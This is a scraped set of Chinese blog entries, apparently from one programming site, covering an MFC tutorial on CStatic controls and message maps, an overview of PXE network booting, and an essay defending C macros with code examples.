函数来实际建立屏幕上的对象。代码使用这两步分配、构造和建立了一个静态文本对象(第36至40行): 27 // The constructor for the window class 28 CHelloWindow::CHelloWindow() 29 { 30 // Create the window itself 31 Create(NULL, 32 \u0026quot;Hello World!\u0026quot;, 33 WS_OVERLAPPEDWINDOW, 34 CRect(0,0,200,200)); 35 // Create a static label 36 cs = new CStatic(); 37 cs-\u0026gt;Create(\u0026quot;hello world\u0026quot;, 38 WS_CHILD|WS_VISIBLE|SS_CENTER, 39 CRect(50,80,150,150), 40 this); 41 } CStatic 构造函数是在为其分配内存时调用的，然后就调用了 Create 函数来建立 CStatic 控制的窗口。Create 函数所使用的参数与窗口建立函数所使用的参数是类似的(第31行)。第一个参数指定了控制中所要显示的文本内容。第二个参数指定了类型属性。类型属性在下 一讲中将详细介绍。在次我们使用的是子窗口类型(既在别的窗口中显示的窗口)，还有它是可见的，还有文本的显示位置是居中的。第三个参数决定了控制的大小 和位置。第四参数表示该子窗口的父窗口。已经建立了一个静态控制，它将出现在应用程序窗口上，并显示指定的文本。 结论 第一次浏览该代码，也可能不是很熟悉和有些让人烦恼。但是不要着急。从程序员的观点来看，整个程序的主要工作就是建立了 CStatic 控制(36至40行)。在下一讲中，我们详细向你介绍36至40行代码的含义，并可看到定制 CStatic 控制的几个选项。 第三部分：MFC样式 控制是用来建立Windows应用程序用户界面的用户界面对象。你所见到的大部分Windows应用程序和对话框只不过是由一些控制所组成的、用 来实现程序功能的东西。为了建立有效的应用程序，你必须完全理解在Windows应用程序中应该如何合理的使用控制。有六个基本的控制：CStatic、 CButton、CEdit、CList、CComboBox和CScrollBar。另外，Windows 95又增加了15增强了的控制。你需要理解的是那个控制能做些什么、你应该如何控制它的外表和行为以及如何让控制能响应用户事件。只要掌握了这些，再加上 掌握了菜单和对话框，你就可以建立你所想象的任何Windows应用程序。你可以象本教程这样用程序代码来建立控制，也可以使用资源编辑器通过资源文件来 建立。当然，对话框编辑器更方便些，它对于已经基本掌握了控制的情况下特别有用。 最简单的控制是CStatic, 它是用来显示静态文本的。CStatic类没有任何数据成员，它只有少量的成员函数：构造函数、Create函数(用于获取和设置静态控制上的图标)等 等。它不响应用户事件。因为它的简单性，所以最好把它作为学习Windows控制的开端。 在本讲中，我们从CStatic着手，看一下如何修改和定制控制。在下一讲中，我们将学习CButton和CScrollBar类，以理解事件处理的概念。一旦你理解和掌握了所有控制极其类，你就可以建立完整的应用程序了。 基 础 MFC中的CStatic类是用来显示静态文本信息的。这些信息能够可以作为纯信息(例如，显示在信息对话框中的错误消息), 或作为小的标签等。在Windows应用程序的文件打开对话框中，你会发现有六个这样的标签。 CStatic控制还有几种其它的显示格式。你可以通过修改标签的样式来使它表现为矩形、边框或图标等。 CStatic控制总是作为子窗口的形式出现的。典型情况下，其父窗口是应用程序的主窗口或对话框。正如上一讲所介绍的，你用两行代码就可以建立一个静态控制： CStatic *cs; \u0026#8230; cs = new CStatic(); cs-\u0026gt;Create(\u0026quot;hello world\u0026quot;, WS_CHILD|WS_VISIBLE|SS_CENTER, CRect(50,80, 150, 150), this); 这两行代码是典型的MFC建立所有控制的代码。调用new来为CStatic类的事例分配内存，然后调用类的构造函数。构造函数是用来完成类所需要的初始化功能的。Create函数建立控制并把它放到屏幕上。 Create函数有五个参数： lpszText: 指定了要显示的文本。 rect: 控制文本区域的位置、大小和形状。 pParentWnd: 指明CStatic控制的父窗口。该控制会出现在其父窗口中，且其位置是相对于其父窗口的用户区域而言的。 nID: 整数值，表示该控制的标识符。 dwStyle: 最重要的参数。它控制着控制的外观和行为。 CStatic样式 所有的控制都有各种显示样式。样式是在用Create函数建立控制时传递给它的dwStyle参数所决定的。对CStatic有效的样式简介如下： 从CWnd继承来的样式: \u0026#61548; WS_CHILD CStatic所必须的。 \u0026#61548; WS_VISIBLE 表示该控制对用户应该是可见的。 \u0026#61548; WS_DISABLED 表示该控制拒绝接受用户事件。 \u0026#61548; WS_BORDER 控制的文本区域带有边框。 CStatic固有的样式: \u0026#61548; SS_BLACKFRAME 该控制区域以矩形边界显示。颜色与窗口框架相同。 \u0026#61548; SS_BLACKRECT ? 该控制以填充的矩形显示。颜色与当前的窗口框架相同。 \u0026#61548; SS_CENTER 文本居中。 \u0026#61548; SS_GRAYFRAME 控制以矩形边框方式显示。颜色与当前桌面相同。 \u0026#61548; SS_GRAYRECT 该控制以填充的矩形显示。颜色与当前的桌面相同。 \u0026#61548; SS_ICON 控制以图标形式显示。文本作为图标在资源文件的名称。rect参数只控制位置。 \u0026#61548; SS_LEFT 文本居左显示。文字可回绕。 \u0026#61548; SS_LEFTNOWORDWRAP 文本居左显示。多余的文字被剪裁。 \u0026#61548; SS_NOPREFIX 表示字符串中的\u0026quot;\u0026amp;\u0026quot;字符不表示为加速前缀。 \u0026#61548; SS_RIGHT 文本居右显示。文字可回绕。 \u0026#61548; SS_SIMPLE 只简单的显示一行文本。任何CTLCOLOR信息都被其父窗口忽略。 \u0026#61548; SS_USERITEM 用户定义项。 \u0026#61548; SS_WHITEFRAME 控制以矩形边框方式显示。颜色与当前窗口背景颜色相同。 \u0026#61548; SS_WHITERECT 控制以填充矩形方式显示。颜色与当前窗口背景颜色相同。 这些常数中，\u0026ldquo;SS\u0026rdquo;(Static Style)开头的表示只能用于CStatic控制。以\u0026ldquo;WS\u0026rdquo;(Window Style)开头的常数表示可适用于所有窗口，它们定义在CWnd对象中。CWnd中还有很多以\u0026ldquo;WS\u0026rdquo;样式常数。你可以在MFC文档中的CWnd:: Create函数中找到它们。上面的四种是只用于CStatic对象的。 CStatic对象至少要带有两个样式：WS_CHILD和WS_VISIBLE。该控制必须作为另一窗口的子窗口来建立。如果不使用 WS_VISIBLE，则所建立的控制是看不见的。WS_DISABLED控制着标签对事件的响应，因为CStatic不接收键盘或鼠标事件，所以使用该 项是多余的。 所有的其它样式选项都是可选的，它们控制着标签的外观。在CStatic::Create函数中使用这些控制，可以控制CStatic在屏幕上的显示。 CStatic文本的外观 下面的代码对于理解CStatic是有帮助的。它与上一讲中介绍的代码类似，但是修改了CStatic的建立部分。 //static1.cpp #include // Declare the application class class CTestApp : public CWinApp { public: virtual BOOL InitInstance(); }; // Create an instance of the application class CTestApp TestApp; // Declare the main window class class CTestWindow : public CFrameWnd { CStatic* cs; public: CTestWindow(); }; // The InitInstance function is called // once when the application first executes BOOL CTestApp::InitInstance() { m_pMainWnd = new CTestWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // The constructor for the window class CTestWindow::CTestWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CStatic Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); // Create a static label cs = new CStatic(); cs-\u0026gt;Create(\u0026quot;hello world\u0026quot;, WS_CHILD|WS_VISIBLE|WS_BORDER|SS_CENTER, r, this); } 下面是窗口构造函数加上了行编号： CTestWindow::CTestWindow() { CRect r; // Create the window itself 1 Create(NULL, \u0026quot;CStatic Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle 2 GetClientRect(\u0026amp;r); 3 r.InflateRect(-20,-20); // Create a static label 4 cs = new CStatic(); 5 cs-\u0026gt;Create(\u0026quot;hello world\u0026quot;, WS_CHILD|WS_VISIBLE|WS_BORDER|SS_CENTER, r, this); } 首先在单击1行中调用CTestWindow::Create函数。它是CFrameWnd对象的Create函数，因为CTestWindow 从CFrameWnd继承了其行为。所以第一行中的代码指定了窗口大小应该为200\u0026times;200个象素，窗口的左上角被初始化在屏幕的0,0位置处。常数 rectDefault可用CRect参数来替代。 在第2行，调用了CTestWindow::GetClientRect，向它传递了\u0026amp;r参数。GetClientRect函数是从CWnd类继承来的。变量r是CRect类型的，并且在函数的开头部分被说明为局部变量。 理解这段代码时可能会有两个问题 1) GetClientRect函数是干什么的? 2) CRect变量是干什么的? 让我们先回答第一个问题。当你查看MFC文档中的CWnd::GetClientRect函数时，你会发现它返回一CRect类型，它包含了指定窗口的用 户区域矩形。它保存的是参数的地址\u0026amp;r。该地址指向CRect的位置。CRect类型是在MFC中定义的。用它处理矩形是非常方便的。如果你看以 下MFC文档，就会看到其中定义了30多种处理矩形的成员函数和操作符。 在我们的情况下，我们要在窗口中间显示\u0026ldquo;Hello World\u0026rdquo;。因此，我们用GetClientRect来获取用户区域的矩形坐标。在第3行中调用了CRect::InflateRect，同时还可以增 大或减少了矩形的尺寸(参见CRect::DeflateRect)。这里我们对矩形的各边减少了20个象素。如果不这样的话，标签周围边界就会超出窗口 框架。 实际上，CStatic是在第4和5行建立的。样式属性为居中并有边框。其大小和位置由CRect参数r确定的。 通过修改不同的样式属性，你可以理解CStatic的不同形式。例如，下面的代码包含有对CTestWindow构造函数进行了修改，所产生的控制有个位移： CTestWindow::CTestWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CStatic Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); // Create a static label cs = new CStatic(); cs-\u0026gt;Create(\u0026quot;Now is the time for all good men to \\ come to the aid of their country\u0026quot;, WS_CHILD|WS_VISIBLE|WS_BORDER|SS_CENTER, r, this); } 上面的代码除了所显示的文本比较长外没有什么不同。运行该代码你就可以看到，CStatic在指定的区域内的文本已经回绕了，且没一行都是居中的。 如果边框矩形太小不能包含所有的文本行，则文本会被剪切以适应之。你减小矩形大小或增大字符串长度就可以看到CStatic的该特性。 在我们所看到的所有代码中，样式SS_CENTER是用来居中文本的。CStatic也允许左对齐或右对齐。左对齐是用SS_LEFT来替代SS_CENTER属性。同样，右对齐是用SS_RIGHT来取代之。 SS_LEFTNOWORDWRAP属性是用来关闭文本回绕的。它会强迫使用左对齐属性。 CStatic的矩形显示模式 CStatic也支持两种不同的矩形显示模式：填充矩形和框架。通常用这两种模式来把一组控制框在一起。例如，你可以把黑背景框架窗口作为一组编 辑框的背景。你可以选择六种不同的样式: SS_BLACKFRAME、SS_BLACKRECT、SS_GRAYFRAME、SS_GRAYRECT、SS_WHITEFRAME和 SS_WHITERECT。RECT形成了一个填充的矩形，而FRAME组成一边框。其中的颜色标志，如SS_WHITERECT表示其颜色与窗口背景的 颜色是相同的。尽管该颜色的缺省值是白色，但你可以使用控制面板来改变，此时矩形的颜色可能就不是白色的了。 当指定了矩形或框架属性后，CStatic的文本字符串会被忽略。典型情况是传递一空字符串。你可以试验以下这些特性。 字体 你可以使用CFont类来改变CStatic的字体。MFC中的CFont类保存着特殊Windows字体的单一实例。例如，一个实例的 CFont类可能保存有18点的Times字体，而另一个可能保存着10点的Courier字体。你可以调用SetFont函数来修改字体。下面的代码给 出了如何实现字体。 CTestWindow::CTestWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CStatic Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); // Create a static label cs = new CStatic(); cs-\u0026gt;Create(\u0026quot;Hello World\u0026quot;, WS_CHILD|WS_VISIBLE|WS_BORDER|SS_CENTER, r, this); // Create a new 36 point Arial font font = new CFont; font-\u0026gt;CreateFont(36,0,0,0,700,0,0,0, ANSI_CHARSET,OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH|FF_DONTCARE, \u0026quot;arial\u0026quot;); // Cause the label to use the new font cs-\u0026gt;SetFont(font); } 上面的代码开始于建立窗口和CStatic。然后建立一CFont类型对象。字体变量应作为CTestWindow的数据成员来说明\u0026ldquo;CFont *font\u0026rdquo;。CFont::CreateFont函数有15个参数，但是只有三个是最常用的。例如，36指定了以点为单位的字体大小，700指定了字体 的密度(400是正常\u0026ldquo;normal\u0026rdquo;, 700为加黑\u0026ldquo;bold\u0026rdquo;，值的范围为1到1000。FW_NORMAL和FW_BOLD的含义实际上是相同的)，\u0026ldquo;arial\u0026rdquo;是所用字体的名称。 Windows 通常带有五种True Type字体(Arial、Courier New、Symbol、Times New Roman和Wingdings)，使用它们，你可以确保任何机器上都会有该字体。如果你使用了系统不知道的字体，则CFont会选择缺省字体，正如你在 本教程所见到的。 要想更多的了解CFont类，可参见MFC文档。在API在线帮助文件中，有一篇文章对字体做了很好的概述。查找\u0026ldquo;Fonts and Text Overview\u0026rdquo;。 SetFont函数是从CWnd继承来的。它是用来设置窗口的字体的，在我们的程序中是CStatic子窗口。你可能要问：\u0026ldquo;我怎样知道CWnd 中的哪些函数可以用于CStatic在?\u0026rdquo;你只能在实践中来学习。花上一些时间来看一下CWnd的所有函数。你定会有所收获，并会发现哪些函数可用于定制 控制。我们在选下一讲中看到CWnd类中的其它Set函数。 结论 在本教程中，我们勘察了CStatic的很多不同特性。有关从CWnd继承来的Set函数，我们将放到下一讲介绍，因为在那里更合适。 查看Microsoft文档中的函数 在Visual C++ 5.x中，查找你多不熟悉的函数是很简单的。所有的MFC、SDK、Windows API和C/C++标准库函数都继承到同一个帮助系统中了。如果你不能确定所要的函数在哪儿，你可以使用帮助菜单中的Search选项来查找。所有相关的 函数都会列出来的。 编译多个可执行程序 在本教程中，有几个例子程序。有两种方式来编译和运行它们。第一种方式是把每个程序都放到自己的目录中，然后为每个程序分别建立一个项目。使用该技术，你可以分别编译每个程序，并且可以同时或独立地使用他们。该方法的缺点是需要比较大的磁盘空间。 第二种方法是为所有的程序只建立一个目录。你可以一个项目文件。为了编译每个程序，你可以编辑项目和改变源文件。当你重新编译项目时，新的可执行程序就是你所选择的源文件的。该方法可以使用减少磁盘空间。 第四部分：消息映射 应用程序放在窗口中的任何用户界面对象都具有两种可控制的特性：1) 它的外观，2) 它响应事件的行为。在上一讲中，你已经学习了CStatic控制和如何使用样式属性来定制用户界面对象的外观。这些概念可用于MFC中的所有不同控制类。 在本讲中，我们将介绍CButton控制，以理解消息映射和简单的事件处理。然后还要介绍使用CScrollBar控制的稍微复杂点的例子。 理解消息映射 在第二讲中，MFC程序不包括主要函数或时间循环。所有的事件处理都是作为CWinApp的一部分在后台处理的。因为它们是隐藏的，所以我们需要 一种方法来告诉不可见的时间循环通告我们应用程序所感兴趣的事件。这需要一种叫做消息映射的机制。消息映射识别感兴趣的事件然后调用函数来响应这些事件。 例如，如果你要编写一个程序，当用户按下标有\u0026ldquo;退出\u0026rdquo;的按钮时要退出应用程序。在程序中，你编写代码来建立按钮：你指示按钮应如何动作。然后， 为其父窗口建立用户单击按钮时的消息映射，它试图要传递消息给其父窗口。为了建立父窗口的消息，你要建立截取消息映射的机制，并且使用按钮的消息。当一指 定的按钮事件发生时，消息映射会请求MFC调用一指定的函数。在这种情况下，单击退出按钮就是所感兴趣的事件。然后你把退出应用程序的代码放到指定的函数 中。 其它的工作就由MFC来做了。当程序执行时，用户单击\u0026ldquo;退出\u0026rdquo;按钮时，按钮就会自己加亮。然后MFC自动调用相应的函数，并且程序会终止。只使用很少的几行代码你就响应了用户事件。 ","permalink":"https://hessian.cn/p/336.html","summary":"窗口对象 MFC 定义了两个类型的窗口: 1) 框架窗口，它是一个全功能的窗口，可以改变大小、最小化、最大化等等; 2) 对话框窗口，它不能改变大小。框架窗口是典型的主应用程序窗口。 在下面的代码中，从 CFrameWnd 中继承了一个新的类 CHelloWindow: 11 // Declare the main window class 12 class CHelloWindow : public CFrameWnd 13 { 14 CStatic* cs; 15 public: 16 CHelloWindow(); 17 }; 它包括一个新的构造函数，同时还有一个指向程序中所使用的唯一用户界面控制的数据成员。你多建立的每个应用程序在主窗口中都会有唯一的一组控制。 因此，继承类将有一个重载的构造函数以用来建立主窗口所需要的所有控制。典型情况下，该类会包含有一个析构函数以便在窗口关闭时来删除他们。我们这里没有 使用析构函数。在第四讲中，我们将会看到继承窗口类也会说明一个消息处理函数来处理这些控制在响应用户事件所产生的消息。 典型地，一个应用程序将有一个主应用程序窗口。因此，CHelloApp 应用程序类定义了一个名为 m_pMainWnd 成员变量来指向主窗口。为了建立该程序的主窗口，InitInstance 函数(第18至26行)建立了一个 CHelloWindow 事例，并使用 m_pMainWnd 来指向一个新的窗口。我们的 CHelloWindow 对象是在第22行建立的: 18 // The InitInstance function is called each 19 // time the application first executes. 20 BOOL CHelloApp::InitInstance() 21 { 22 m_pMainWnd = new CHelloWindow(); 23 m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); 24 m_pMainWnd-\u0026gt;UpdateWindow(); 25 return TRUE; 26 } 只建立一个简单的框架窗口是不够的。还要确保窗口能正确地出现在屏幕上。首先，代码必须要调用窗口的 ShowWindow 函数以使窗口出现在屏幕上(第23行)。其次，程序必须要调用 UpdateWindow 函数来确保窗口中的每个控制和输出能正确地出现在屏幕上(第24行)。 你可能奇怪，ShowWindow 和 UpdateWindow 函数是在哪儿定义的。例如，如果你要查看以便了解它们，你可能要查看 MFC 的帮助文件中的 CFrameWnd 定义部分。但是 CFrameWnd 中并不包含有这些成员函数。CFrameWnd 是从 CWnd 类继承来的。你可以查看 MFC 文档中的 CWnd，你会发现它包含有200多个不同的成员函数。显然，你不能在几分钟内掌握这些函数，但是你可以掌握其中的几个，如 ShowWindow 和UpdateWindow。 现在让我们花几分钟来看一下 MFC 帮助文件中的 CWnd::ShowWindow 函数。为此，你你可以单击帮助文件中的 Search 按钮，并输入\u0026ldquo;ShowWindow\u0026rdquo;。找到后，你会注意到，ShowWindow 只有一个参数，你可以设置不同的参数值。我们把它设置成我们程序中 CHelloApp 的数据成员变量 m_nCmdShow (第23行)。m_nCmdShow 变量是用来初始化应用程序启动的窗口显示方式的。例如，用户可能在程序管理器中启动应用程序，并可通过应用程序属性对话框来告知程序管理器应用程序在启动 时要保持最小化状态。m_nCmdShow 变量将被设置成 SW_SHOWMINIMIZED，并且应用程序会以图标的形式来启动，也就是说，程序启动后，是一个代表该程序的图标。m_nCmdShow 变量是一种外界与应用程序通讯的方式。如果你愿意，你可以用不同的 m_nCmdShow 值来试验 ShowWindow 的效果。但要重新编译程序才能看到效果。 第22行是初始化窗口。它为调用 new 函数分配内存。在这一点上，程序在执行时会调用CHelloWindow的构造函数。该构造函数在每次带类的事例被分配时都要调用。在窗口构造函数的内 部，窗口必须建立它自己。它是通过调用 CFrameWnd 的 Create 成员函数来实现的(第31行): 27 // The constructor for the window class 28 CHelloWindow::CHelloWindow() 29 { 30 // Create the window itself 31 Create(NULL, 32 \u0026quot;Hello World!\u0026quot;, 33 WS_OVERLAPPEDWINDOW, 34 CRect(0,0,200,200)); 建立函数共传递了四个参数。通过查看 MFC 文档，你可以了解不同类型。NULL 参数表示使用缺省的类名。第二个参数为出现在窗口标题栏上的标题。第三个参数为窗口的类型属性。该程序使用了正常的、可覆盖类型的窗口。在下一讲中将详细 介绍类型属性。第四个参数指出窗口应该放在屏幕上的位置和大小，左上角为(0,0), 初始化大小为 200\u0026times;200个象素。如果使用了 rectDefault，则 Windows 会为你自动放置窗口及大小。 因为我们的程序太简单了，所以它只在窗口中建立了一个静态文本控制。见第35至40行。下面将详细介绍。 ","title":"Visual C++ MFC 简明教程 [2]"},{"content":"\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; PXE（Preboot Execution Environment）是INTEL推出的可用于无盘、有盘联网的网络协议。使用PXE功 能，首先要求客户端网卡的支持，其次，在服务器端也要有支持此协议的网管软件。在远程启动过程中，客户端通过PXE（存放于主板或者网卡上的 BIOS ROM中）向服务器发生请求，要求服务器分配一个IP地址，再用TFTP（Trivial File Transfer Protocol/小 文件传输协议）或MTFTP（Multicast Trivial File Transfer Protocol）协议下载一个启动软件包到本机内存中 并执行，由这个启动软件包完成终端基本软件设置，从而引导预先安装在服务器中的终端操作系统。从启动过程可以看出，PXE不需要记录客户端的网卡型号和 MAC地址等信息，因此只要设置好服务器端就可以应用于任一台带PXE协议的终端，减少了在PRL方式下对于不同网卡要做不同设置的重复劳动。PXE可以 引导多种终端操作系统，如Window95/98或Linux等。由于PXE协议将数据分割成极为细小的部分，所以数据的传输速度大大加快，相对于以前的 RPL远程引导无盘启动技术，PXE的运行速度提高三倍以上。PXE技术除目前支持无盘Win98启动外，不久将能支持WIN2000，以及LINUX， 而现时其它方案只能支持无盘WIN95启动。并且，在PXE4.0以上的版本，加入了启动安全验证服务BIS （Boot Integrity Services），更加强了网络的安全性。\nPXE启动详解\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 当客户机启动后，其网卡上的Boot Rom会广播一个引导请求帧FIND，该帧中包含有客户机的网卡MAC地址，server端远程启动 服务收到客户机广播的FIND帧后，根据帧中所带的客户机网卡MAC地址，检查远程启动数据库中是否有该卡号的配置记录：如果不存在这个记录，引导过程不 能继续；如果此工作站的记录已经存在，远程启动服务发送一个FOUND帧，同样，这个帧中包含了服务器的网卡MAC地址，然后就调用BOOTP （boot protocol/启动协议）或者DHCP( Dynamic Host Configuration Protocol/动态主机配置协 议，其实是BOOTP的进化)， 分配给工作站端的机器名字、IP地址、服务器端的IP地址以及启动时的映像文件等。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 工作站收到第一个响应后（工作站只对收到的第一个FOUND帧有响应），则发送一个SEND.FILE.REQUEST帧给第一个响应的远程启动服务器，以请求传送启动所需的文件。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 当远程启动服务器收到客户机SEND.FILE.REQUEST帧的要求后，会根据其远程启动数据库中的工作站记录查找对应的启动块 （boot block），并发送给工作站一个FILE.DAT.RESPONSE帧（这个帧包含了工作站启动所需的启动块），将工作站所需的启动文件传 送给工作站。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 工作站接收到完整的启动文件后，就开始执行文件中的启动程序，将执行点转向启动块的入口，启动工作站。 接着是不同的OS有不同的引导方式了，要 启动无盘win98，需要往服务器上上传win98文件，并制作启动映像文件，工作站才能读取win98的启动映像文件，进一步读取win98安装目录， 启动win98。\nPXE无盘启动的基本工作原理 PXE是RPL的升级品，它是Preboot Execution Environment的缩写。它们的不同之处为：一个是静态路由，一个动态路由。不 难理解：RPL是根据网卡上的ID号加上其它的记录组成的Frame向server发出请求，而server那里早已经有了这个ID数据，匹配成功则进行 远程启动；PXE是则是根据服务器端收到的工作站MAC地址（就是网卡号），使用DHCP服务给这个MAC地址指定一个IP地址，每次重启动可能同一台工 作站有与上次启动有不同的IP，动态分配地址。下面以工作站引导过程说明PXE的原理： 1、 用户端电脑开机后, PXE Boot ROM 获得控制权之前先做自我测试，然后以广播形式发出一个请求FIND帧。 2、 如果服务器收到个人电脑所送出的要求, 就会送回 DHCP 回应, 内容包括用户端的 IP 地址, 预设通讯通道, 及开机映像文件。 否则, 服务器会忽略这个要求。 3、 工作站收到服务器发回的响应后则会回应一个FRAME，以请求传送启动所需文件。 4、之后，将有更多的讯息在用户端与服务器之间作应答, 用以决定启动参数。 BootPROM 由 TFTP 通讯协议从服务器下载开机映像档, 这个映像档就是软盘的映象文件。 5、 工作站使用TFTP 协议接收启动文件后，将控制权转交启动块，引导操作系统，完成远程启动。\n","permalink":"https://hessian.cn/p/436.html","summary":"\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; PXE（Preboot Execution Environment）是INTEL推出的可用于无盘、有盘联网的网络协议。使用PXE功 能，首先要求客户端网卡的支持，其次，在服务器端也要有支持此协议的网管软件。在远程启动过程中，客户端通过PXE（存放于主板或者网卡上的 BIOS ROM中）向服务器发生请求，要求服务器分配一个IP地址，再用TFTP（Trivial File Transfer Protocol/小 文件传输协议）或MTFTP（Multicast Trivial File Transfer Protocol）协议下载一个启动软件包到本机内存中 并执行，由这个启动软件包完成终端基本软件设置，从而引导预先安装在服务器中的终端操作系统。从启动过程可以看出，PXE不需要记录客户端的网卡型号和 MAC地址等信息，因此只要设置好服务器端就可以应用于任一台带PXE协议的终端，减少了在PRL方式下对于不同网卡要做不同设置的重复劳动。PXE可以 引导多种终端操作系统，如Window95/98或Linux等。由于PXE协议将数据分割成极为细小的部分，所以数据的传输速度大大加快，相对于以前的 RPL远程引导无盘启动技术，PXE的运行速度提高三倍以上。PXE技术除目前支持无盘Win98启动外，不久将能支持WIN2000，以及LINUX， 而现时其它方案只能支持无盘WIN95启动。并且，在PXE4.0以上的版本，加入了启动安全验证服务BIS （Boot Integrity Services），更加强了网络的安全性。\n","title":"PXE技术简介"},{"content":"水平不高不低的C++程序员最喜欢挂在嘴上的一句话就是：C宏，万恶之首，错误的开端，应该被废弃。\n请注意，我用了一句不敬的修饰语\u0026ldquo;水平不高不低的\u0026rdquo;。为什么这么说？因为水平低都插不上话，都在在静静地听老前辈布道呢。水平高的，比如Bane Stroustrup老人家，也只是说若干种场合下C++语言能够提供比C macro更好的解决方案，而没有完全否定C macro的价值。但是话就怕传来传去，一传就走样。久而久之，就被传成上面那句话。其实说来也很好笑：java程序员经常说java比C++好，说C+ +手动释放内存老搞内存泄漏；C++程序员便反驳说，那是你水平低不会用。但是谈到C宏，水平不高不低的C++程序员居然也走java的老路了\u0026mdash;\u0026mdash;明明是 自己不会用，自己知道的少，却把责任推卸到C宏上。你自己笨我管不着，但是错误的言论如果误导后人就不好了吧。:)\n本文就举几个简单的使用C宏的例子，如果这些例子用C++不用宏的语法能更好的解决，那么你一定要回复blog告诉我，这样下次我就不乱说话了。否则，笑笑很生气，后果很严重。:)\n例一、用C宏，书写代码更简洁 这段代码写网络程序的朋友都很眼熟，是Net/3中mbuf的实现。\nstruct mbuf\n{\nstruct m_hdr mhdr;\nunion {\nstruct {\nstruct pkthdr MH_pkthdr; /* M_PKTHDR set */\nunion {\nstruct m_ext MH_ext; /* M_EXT set */\nchar MH_databuf[MHLEN];\n} MH_dat;\n} MH;\nchar M_databuf[MLEN]; /* !M_PKTHER, !M_EXT*/\n} M_dat;\n};\n上面的代码，假如我想访问最里层的MH_databuf，那么我必须写M_dat.MH.MH_dat.MH_databuf; 这是不是很长，很难写呀？这样的代码阅读起来也不明了。其实，对于MH_pkthdr、MH_ext、MH_databuf来说，虽然不是在一个结构层次 上，但是如果我们站在mbuf之外来看，它们都是mbuf的属性，完全可以压扁到一个平面上去看。所以，源码中有这么一组宏：\n#define m_next m_hdr.mh_next\n#define m_len m_hdr.mh_len\n#define m_data m_hdr.mh_data\n... ...\n#define m_pkthdr M_dat.MH.MH_pkthdr\n#define m_pktdat M_dat.MH.MH_dat.MH_databuf\n... ...\n这样写起代码来，是不是很精练呢！\n例二、用C宏，实现跨平台和编译器的需要 这方面的例子太好举了，一举一大摞，就从VC的库源码中随意copy一段出来吧。\n#ifndef _CRTAPI1\n#if _MSC_VER \u0026gt;= 800 \u0026amp;\u0026amp; _M_IX86 \u0026gt;= 300\n#define _CRTAPI1 __cdecl\n#else /* _MSC_VER \u0026gt;= 800 \u0026amp;\u0026amp; _M_IX86 \u0026gt;= 300 */\n#define _CRTAPI1\n#endif /* _MSC_VER \u0026gt;= 800 \u0026amp;\u0026amp; _M_IX86 \u0026gt;= 300 */\n#endif /* _CRTAPI1 */\n#ifndef _SIZE_T_DEFINED\ntypedef unsigned int size_t;\n#define _SIZE_T_DEFINED\n#endif /* _SIZE_T_DEFINED */\n#ifndef _MAC\n#ifndef _WCHAR_T_DEFINED\ntypedef unsigned short wchar_t;\n#define _WCHAR_T_DEFINED\n#endif /* _WCHAR_T_DEFINED */\n#endif /* _MAC */\n#ifndef _NLSCMP_DEFINED\n#define _NLSCMPERROR 2147483647 /* currently == INT_MAX */\n#define _NLSCMP_DEFINED\n#endif /* _NLSCMP_DEFINED */\n请问，这些指示宏如何取代呢？如果真的是没有了这些宏，实现起来就更麻烦了吧。\n例三、用C宏，自动生成代码 这方面的例子也是多得很，不过有鉴于很多朋友不用很多编译器，不做嵌入式的开发，我就举个win平台的例子吧。我们知道MFC实现了windows的消息映射，比如：\nON_COMMAND(IDM_ABOUT, OnAbout)\nON_COMMAND(IDM_FILENEW, OnFileNew)\n它是如何实现的IDM_ABOUT和OnAbout的关联的呢？这要用到几个宏。\n#define DECLARE_MESSAGE_MAP() private: static const AFX_MSGMAP_ENTRY _messageEntries[]; protected: static AFX_DATA const AFX_MSGMAP messageMap; virtual const AFX_MSGMAP* GetMessageMap() const; #define BEGIN_MESSAGE_MAP(theClass, baseClass) const AFX_MSGMAP* theClass::GetMessageMap() const { return \u0026amp;theClass::messageMap; } AFX_COMDAT AFX_DATADEF const AFX_MSGMAP theClass::messageMap = { \u0026amp;baseClass::messageMap, \u0026amp;theClass::_messageEntries[0] }; AFX_COMDAT const AFX_MSGMAP_ENTRY theClass::_messageEntries[] = { #define ON_COMMAND(id, memberFxn) { WM_COMMAND, 0, (WORD)id, (WORD)id, AfxSig_vv, (AFX_PMSG)memberFxn },\n#define END_MESSAGE_MAP() {0, 0, 0, 0, AfxSig_end, (AFX_PMSG)0 } }; #define DECLARE_MESSAGE_MAP() private: static const AFX_MSGMAP_ENTRY _messageEntries[]; protected: static AFX_DATA const AFX_MSGMAP messageMap; virtual const AFX_MSGMAP* GetMessageMap() const; #define BEGIN_MESSAGE_MAP(theClass, baseClass) const AFX_MSGMAP* theClass::GetMessageMap() const { return \u0026amp;theClass::messageMap; } AFX_COMDAT AFX_DATADEF const AFX_MSGMAP theClass::messageMap = { \u0026amp;baseClass::messageMap, \u0026amp;theClass::_messageEntries[0] }; AFX_COMDAT const AFX_MSGMAP_ENTRY theClass::_messageEntries[] = { #define ON_COMMAND(id, memberFxn) { WM_COMMAND, 0, (WORD)id, (WORD)id, AfxSig_vv, (AFX_PMSG)memberFxn },\n#define END_MESSAGE_MAP() {0, 0, 0, 